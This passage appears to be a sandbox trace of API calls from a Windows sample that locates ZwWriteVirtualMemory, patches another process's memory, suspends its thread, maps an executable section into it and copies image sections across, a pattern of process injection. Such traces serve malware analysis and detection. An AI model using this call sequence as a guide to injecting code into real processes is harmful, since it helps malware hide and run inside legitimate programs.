(lpString1="LdrResolveDelayLoadedAPI", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrResolveDelayLoadsFromDll", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrSetDefaultDllDirectories", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrSetDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrSetImplicitPathOptions", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrStandardizeSystemPath", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrSystemDllInitBlock", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwWriteVirtualMemory") returned -1 [0138.182] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="MD4Final", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="MD4Init", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="MD4Update", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="MD5Final", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="MD5Init", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="MD5Update", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAddAtomEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwWriteVirtualMemory") returned -1 [0138.183] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAdjustTokenClaimsAndDeviceGroups", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlertThreadByThreadId", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAllocateUuids", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcConnectPortEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwWriteVirtualMemory") returned -1 [0138.184] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcImpersonateClientContainerOfPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.185] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtAssociateWaitCompletionPacket", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCancelTimer2", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCancelWaitCompletionPacket", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtClose", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwWriteVirtualMemory") returned -1 [0138.186] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwWriteVirtualMemory") returned -1 [0138.187] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwWriteVirtualMemory") returned -1 [0138.187] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwWriteVirtualMemory") returned -1 [0138.187] lstrcmpA (lpString1="NtCompareObjects", lpString2="ZwWriteVirtualMemory") returned -1 [0138.187] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwWriteVirtualMemory") returned -1 [0138.187] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.187] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwWriteVirtualMemory") returned -1 [0138.187] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwWriteVirtualMemory") returned -1 [0138.188] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.259] NtProtectVirtualMemory (in: ProcessHandle=0x174, BaseAddress=0x18eb18*=0x7ff65b183980, NumberOfBytesToProtect=0x18eb20, NewAccessProtection=0x4, OldAccessProtection=0x18eb10 | out: BaseAddress=0x18eb18*=0x7ff65b183000, NumberOfBytesToProtect=0x18eb20, OldAccessProtection=0x18eb10*=0x20) returned 0x0 [0138.336] NtWriteVirtualMemory (in: ProcessHandle=0x174, BaseAddress=0x7ff65b183980, Buffer=0x18f060*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x18eb08 | out: Buffer=0x18f060*, NumberOfBytesWritten=0x18eb08*=0x4) returned 0x0 [0138.441] NtProtectVirtualMemory (in: ProcessHandle=0x174, BaseAddress=0x18eb18*=0x7ff65b183000, NumberOfBytesToProtect=0x18eb20, NewAccessProtection=0x20, OldAccessProtection=0x18eb10 | out: BaseAddress=0x18eb18*=0x7ff65b183000, NumberOfBytesToProtect=0x18eb20, OldAccessProtection=0x18eb10*=0x4) returned 0x0 [0138.478] CloseHandle (hObject=0x17c) returned 1 [0138.479] ResumeThread (hThread=0x16c) returned 0x1 [0138.479] Sleep (dwMilliseconds=0x12c) [0138.928] SuspendThread (hThread=0x16c) returned 0x0 [0138.928] NtGetContextThread (in: ThreadHandle=0x16c, Context=0x18eb80 | out: Context=0x18eb80*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x100003, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x47, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x30, [65]=0x7, [66]=0x63, [67]=0xcb, [68]=0xfe, [69]=0xf, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0xf0, [74]=0xb0, [75]=0x1c, [76]=0x2d, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x400004, SegGs=0x10000, SegFs=0x5b183980, SegEs=0x7ff6, SegDs=0x1c9bf9c8, Edi=0x2d, Esi=0x0, Ebx=0x0, Edx=0x1cb0f000, Ecx=0x2d, Eax=0x1cb0f000, Ebp=0x2d, Eip=0x1cb0f000, SegCs=0x2d, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x80, [45]=0x39, [46]=0x18, [47]=0x5b, [48]=0xf6, [49]=0x7f, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0138.928] NtCreateSection (in: SectionHandle=0x18eb28, DesiredAccess=0xf001f, ObjectAttributes=0x18eb04*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x18eb1c, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x18eb28*=0x17c) returned 0x0 [0138.929] NtMapViewOfSection (in: SectionHandle=0x17c, ProcessHandle=0xffffffff, BaseAddress=0x18eb24*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x18ead8*=0, ViewSize=0x18eae0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18eb24*=0x830000, SectionOffset=0x18ead8*=0, ViewSize=0x18eae0*=0x9c000) returned 0x0 [0138.932] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0138.940] NtMapViewOfSection (in: SectionHandle=0x17c, ProcessHandle=0x174, BaseAddress=0x18eb58*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x18eb20*=0, ViewSize=0x18eb28*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x18eb58*=0x400000, SectionOffset=0x18eb20*=0, ViewSize=0x18eb28*=0x9c000) returned 0x0 [0138.944] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0138.944] memcpy (in: _Dst=0x830000, _Src=0x10b1000, _Size=0x400 | out: _Dst=0x830000) returned 0x830000 [0138.944] memcpy (in: _Dst=0x831000, _Src=0x10b1400, _Size=0x26600 | out: _Dst=0x831000) returned 0x831000 [0138.944] memcpy (in: _Dst=0x858000, _Src=0x10d7a00, _Size=0x7600 | out: _Dst=0x858000) returned 0x858000 [0138.944] memcpy (in: _Dst=0x860000, _Src=0x10df000, _Size=0x5600 | out: _Dst=0x860000) returned 0x860000 [0138.944] memcpy (in: _Dst=0x867000, _Src=0x10e4600, _Size=0x1a00 | out: _Dst=0x867000) returned 0x867000 [0138.944] memcpy (in: _Dst=0x869000, _Src=0x10e6000, _Size=0x800 | out: _Dst=0x869000) returned 0x869000 [0138.944] memcpy (in: _Dst=0x86ac50, _Src=0x1086000, _Size=0x2b000 | out: _Dst=0x86ac50) returned 0x86ac50 [0138.945] memcpy (in: _Dst=0x895c50, _Src=0x10b1000, _Size=0x35800 | out: _Dst=0x895c50) returned 0x895c50 [0138.945] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0138.945] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0138.946] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x174, ProcessInformationClass=0x0, ProcessInformation64=0x18ea2c, ProcessInformationLength=0x30, ReturnLength=0x18ea84 | out: ProcessInformation64=0x18ea2c, ReturnLength=0x18ea84) returned 0x0 [0138.946] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0138.946] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0138.946] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x1cb0f000, Buffer=0x2d, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x2d, NumberOfBytesRead=0x28) returned 0x0 [0138.946] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0138.946] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6034d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.946] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603340, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.946] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603980, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.946] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603e80, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.947] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6052e0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.947] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6054d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.947] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6058f0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.948] LocalFree (hMem=0x7392a0) returned 0x0 [0138.948] LocalFree (hMem=0x72e060) returned 0x0 [0138.949] VirtualAlloc (lpAddress=0x0, dwSize=0x7e4, flAllocationType=0x3000, flProtect=0x4) returned 0x8d0000 [0138.949] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0138.949] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0138.949] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x174, ProcessInformationClass=0x0, ProcessInformation64=0x18ea2c, ProcessInformationLength=0x30, ReturnLength=0x18ea84 | out: ProcessInformation64=0x18ea2c, ReturnLength=0x18ea84) returned 0x0 [0138.949] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0138.949] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0138.949] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x1cb0f000, Buffer=0x2d, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x2d, NumberOfBytesRead=0x28) returned 0x0 [0138.949] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0138.949] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6034d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) 